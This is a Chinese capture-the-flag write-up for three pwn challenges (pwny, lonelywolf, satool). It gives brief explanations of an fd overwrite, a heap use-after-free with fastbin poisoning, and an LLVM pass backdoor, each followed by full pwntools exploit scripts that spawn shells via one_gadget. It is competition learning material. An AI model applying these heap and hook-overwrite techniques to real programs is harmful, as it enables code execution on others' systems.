只做了三个pwn,沙箱不会全丢给队友了,,最后的satool还来不及交
太菜了呜呜
pwny
可以从random读取字符覆盖bss上可控偏移的变量,覆盖fd后从无效的fd读取数据到保存fd的内存,会把fd覆盖为0,之后任意地址读写,泄露地址打exit_hook
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwny'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('124.71.226.118',22157)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("Your choice:",str(num))
def read(idx):
cho(1)
sla("Index:",str(idx))
def write(idx):
cho(2)
sla("Index:",str(idx))
z('b*$rebase(0xC06)')
write(256)
write(256)
cho(1)
sa("Index:",'\xe7\xff\xff\xff\xff\xff\xff\xff')
ru("Result: ")
libcbase = int(ru("\n")[0:-1],16)-libc.sym['puts']
print(hex(libcbase))
cho(1)
sa("Index:",'\xf5\xff\xff\xff\xff\xff\xff\xff')
ru("Result: ")
elfbase = int(ru("\n")[0:-1],16)-0x202008
print(hex(elfbase))
one = [0x10a41c,0x4f432,0x4f3d5,0xe5617,0xe561e,0xe5622,0x10a428]
cho(2)
off = str((libcbase+0x61bf60-elfbase-0x202060)/8)[0:-2]
print(off)
sla("Index:",off)
sd(p64(libcbase+one[6]))
cho(3)
ia()
lonelywolf
只能保留一个堆块,uaf泄露出tcache中作为key的堆地址,fastbin attack将堆块分配到某个堆块的size上,将其修改为unsorted_bin大小,uaf泄露libc地址,之后就是常规打hook了
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='lonelywolf'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('',)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("Your choice:",str(num))
def add(size):
cho(1)
sla("Index:",str(0))
sla("Size:", str(size))
def edit(con):
cho(2)
sla("Index:",str(0))
sla("Content: ", con)
def show():
cho(3)
sla("Index:",str(0))
def delete():
cho(4)
sla("Index:",str(0))
add(0x8)
delete()
edit('a'*8)
show()
ru("aaaaaaaa")
heap = leak_address()
print(hex(heap))
add(0x10)
delete()
edit(p64(heap+0x260)+p64(0x91))
add(0x10)
edit(p64(heap+0x260)+p64(0x511))
for i in range(0xa):
add(0x78)
add(0x78)
add(0x8)
delete()
edit('a'*8)
show()
ru("aaaaaaaa")
libcbase = leak_address() - 0x3ebca0
print(hex(libcbase))
malloc_hook = libc.sym['__malloc_hook']
edit(p64(libcbase+0x3ebca0))
add(0x78)
delete()
edit(p64(libcbase+malloc_hook))
add(0x78)
add(0x78)
one = [0x4f3d5,0x4f432, 0x10a41c]
edit(p64(libcbase+one[2]))
cho(1)
sla("Index:",str(0))
sla("Size:", str(0))
ia()
satool
对llvm的了解仅限于知道他的名字。。
相关资料
cannot open shared object file: No such file or directory 解决方法
调试环境
ubuntu 18.04
看着赤道企鹅师傅红帽杯的wp做的,程序漏洞在SAPass.so的sub_19d0
函数里
一边逆向一边调试,大致可以得到
- 主函数名要叫
B4ckDo0r
save
函数需要2个参数,可以malloc(0x18)
并放在qword_2040F8
中stealkey
需要0个参数,可以将qword_2040F8
中的数据存到unk_204100
中fakekey
需要1个参数,可以让unk_204100
中的数据加上函数参数,结果保存到qword_2040F8
中run
需要0个参数,可以跳转到qword_2040F8
中函数指针所指的地址
思路是将0x18大小的fastbin/tcache全部申请后最后一次申请unsorted_bin,让其残留的libc地址减掉偏移指向one_gadget,run
跳转one_gadget
exp.c:
//./clang+llvm-12.0.0-x86_64-linux-gnu-ubuntu-16.04/bin/clang -emit-llvm -c exp.c -o exp.bc
void save(int a, int b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r()
{
save(0,0);
save(0,0);
save(0,0);
save(0,0);
save(0,0);
save(0,0);
save(0,0);
stealkey();
fakekey(0xffc63792);
run();
}
quickstart.py:
from pwn import *
import sys
context.log_level='debug'
con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")
payload=f.read()
f.close()
payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)
con.interactive()